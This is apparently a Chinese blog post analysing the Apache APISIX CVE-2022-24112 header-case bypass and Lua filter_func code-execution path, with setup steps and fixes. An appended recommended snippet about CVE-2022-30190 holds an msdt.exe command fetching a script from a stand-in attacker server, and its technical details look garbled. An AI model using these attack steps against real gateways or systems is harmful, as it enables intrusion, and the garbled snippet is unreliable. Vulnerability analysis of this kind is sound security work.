CVE-2022-24112 Apache APISIX 远程代码执行漏洞

漏洞描述

攻击者可以向batch-requests插件发送请求来绕过管理API的IP限制。Apache
APISIX的默认配置(带有默认的API密钥)容易受到远程代码执行的攻击。当管理密钥更改或管理API端口更改为与数据面板不同的端口时,影响较小。但是,绕过Apache
APISIX数据面板的IP限制仍然存在风险。在batch-
requests插件中有一个检查,它用真实的远程IP覆盖客户端IP。但是由于代码中的一个bug,这个检查可以被绕过。

batch-requests 插件介绍

batch-requests 插件可以一次接受多个请求并以 http
pipeline
的方式在网关发起多个 http
请求,合并结果后再返回客户端,这在客户端需要访问多个接口时可以显著地提升请求性能。

在漏洞版本中、默认是启用状态。

https://apisix.apache.org/zh/docs/apisix/2.12/plugins/batch-requests/

复现思路:

1、搭建漏洞环境。(注意需要修改:conf.yaml/allow_admin)

2、查看diff记录、进行简单调试,漏洞分析。

3、漏洞测试。

漏洞版本

Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 )

Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本(不包含 2.10.4)

环境搭建

环境搭建可以使用下面这个Github地址:

Github 地址 https://github.com/twseptian/cve-2022-24112/tree/main/apisix-docker

cd CVE-2022-24112-main/apisix-docker/example/

vi apisix_conf/config.yaml

将 allow_admin 修改为 127.0.0.0/24,此处修改的实际为nginx.conf。

使用 docker-compose 创建docker容器。

docker-compose -p apisixCveTest up -d

在服务启动阶段、会读取config.yaml、生成nginx.conf 。

1、会基于 Lua 模板 apisix/cli/ngx_tpl.lua 文件生成
nginx.conf。(APISIX架构介绍:https://blog.csdn.net/alex_yangchuansheng/article/details/122053371)

2、调用 ngx_http_access_module 模块。该模块限制客户端对某些地址的访问。(nginx
模块介绍:http://nginx.org/en/docs/http/ngx_http_access_module.html#allow)

进入到容器中查看,conf/nginx.conf。allow/deny 是设置允许与拒绝访问的地址。只允许127.0.0.1/24 访问
/apisix/admin 接口。

Admin
api 接口如下:

漏洞分析

diff :

查看diff记录后、修复方式是将real_ip_hdr 转化为小写。

1、查看插件batch-requests 代码,问题是出现在 set_common_header() 函数中

函数参数为data是我们传入的请求体经过json.decode()后的数据、类型为"table"。

查看代码,real_ip_hdr 为调用 try_read_attr()函数获取到的返回值。通过遍历表结构、获取到 real_ip_header
的值然后再赋值给real_ip_hdr 。

select(‘#’, …) 获取输入参数的数量,

select(i, …) 获取第 n 个参数,

注意:此时的real_ip_hdr
为 X-Real-IP 为大写。该值为在系统启动后、给定的默认值。

2、通过遍历data.pipeline和data.headers
、将data.headers 出现的头信息赋值给data.pipline。发现data.headers中出现了x-real-ip:127.0.0.1
,这是我们调用batch-requests插件传递的头信息,而此时系统默认的X-Real-IP为大写。

在请求头覆盖中、因为
real_ip_hdr 为 X-Real-IP , 函数core.request.get_remote_clinte_ip()获取远程客户端ip、不能将
x-real-ip给覆盖。

查看此时的栈数据。在data.headers
中出现了 x-real-ip 与 X-Real-IP。

最后经由batch-
requests 插件、使用PUT方法将请求发送到 /apisix/admin/xxxx 注册新的路由。通过filter_func
参数可写入一段lua代码、造成远程代码执行。

漏洞测试

利用条件

  • batch-requests插件默认开启状态。
  • 用户使用了 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API 。

攻击思路

1、利用batch-requests 插件漏洞、绕过请求头检测;

2、通过伪造请求头、向Admin API 注册路由;

3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞。

修复意见

  • 更新至最新版本
  • 禁用batch-requests 插件

参考材料

APISIX官网: https://apisix.apache.org/docs/apisix/2.12/getting-started/

APISIX Github: https://github.com/apache/apisix

漏洞环境: https://github.com/twseptian/cve-2022-24112

APISIX架构分析:
https://blog.csdn.net/alex_yangchuansheng/article/details/122053371

最后

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,需要的话可以扫码,CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享


视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
在这里插入图片描述
​​
一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫码,CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2022-30190是一个针对Microsoft的漏洞,被称为msdt远程代码执行漏洞。该漏洞允许攻击者通过利用命令行工具"msdt.exe"的特定参数进行远程代码执行。以下是关于该漏洞的复现过程。 首先,我们需要使用攻击者控制的远程服务器,以便在受影响的目标系统上执行恶意代码。我们创建以下PHP脚本,将其上传到我们的远程服务器上: ``` <?php system('calc.exe'); ?> ``` 这段代码将在目标系统上执行计算器应用程序,然后我们将通过"msdt.exe"命令行工具的特定参数利用该漏洞。 在受影响的目标系统上,我们将打开命令提示符,并执行以下命令: ``` msdt.exe "http://your-remote-server.com/evil-script.php" /id "netwoCpl" /showUI ``` 上述命令将启动"msdt.exe"并使用指定的URL作为参数,同时还指定了"networkCpl"作为"msdt.exe"的标识符。最后,使用"/showUI"参数显示用户界面。 当目标系统执行此命令时,"msdt.exe"会检索远程服务器上的脚本文件,并尝试执行该脚本。由于脚本文件具有恶意代码,它将在目标系统上执行计算器应用程序。 这就是CVE-2022-30190 msdt远程代码执行漏洞的一个简单复现过程。然而,值得注意的是,这只是为了说明该漏洞的原理,实际的攻击可能需要更复杂的技术和步骤。为了保护系统安全,我们建议及时更新受影响的软件,以修补此漏洞。还应该维护良好的网络安全措施,以减少被利用的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值